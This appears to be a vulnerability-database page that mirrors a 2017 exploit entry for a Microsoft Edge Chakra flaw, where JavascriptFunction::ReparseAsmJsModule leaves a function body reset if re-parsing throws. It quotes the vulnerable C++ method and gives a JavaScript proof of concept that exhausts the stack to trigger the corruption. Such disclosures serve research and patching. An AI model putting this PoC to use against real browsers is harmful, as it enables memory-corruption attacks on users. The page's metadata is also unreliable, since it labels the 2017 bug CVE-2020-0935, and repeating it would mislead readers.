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Microsoft Edge Chakra JavascriptFunction::ReparseAsmJsModule Incorrectly Re-parses

CVE Category Price Severity
CVE-2020-0935 CWE-119 $5,000 - $25,000 High
Author Risk Exploitation Type Date
Sergey Toshin High Remote 2017-09-22
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017090168

Below is a copy:

Microsoft Edge Chakra JavascriptFunction::ReparseAsmJsModule Incorrectly Re-parses
<!--
Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
    ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
    Assert(functionInfo);
    functionInfo->GetFunctionBody()->AddDeferParseAttribute();
    functionInfo->GetFunctionBody()->ResetEntryPoint();
    functionInfo->GetFunctionBody()->ResetInParams();

    FunctionBody * funcBody = functionInfo->Parse(functionRef);

#if ENABLE_PROFILE_INFO
    // This is the first call to the function, ensure dynamic profile info
    funcBody->EnsureDynamicProfileInfo();
#endif

    (*functionRef)->UpdateUndeferredBody(funcBody);
}

First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).

We can make it throw an exception simply by exhausting the stack. 

PoC:
-->

function Module() {
    'use asm';

    function f() {
    }

    return f;
}

function recur() {
    try {
        recur();
    } catch (e) {
        Module(1);
    }
}

recur();

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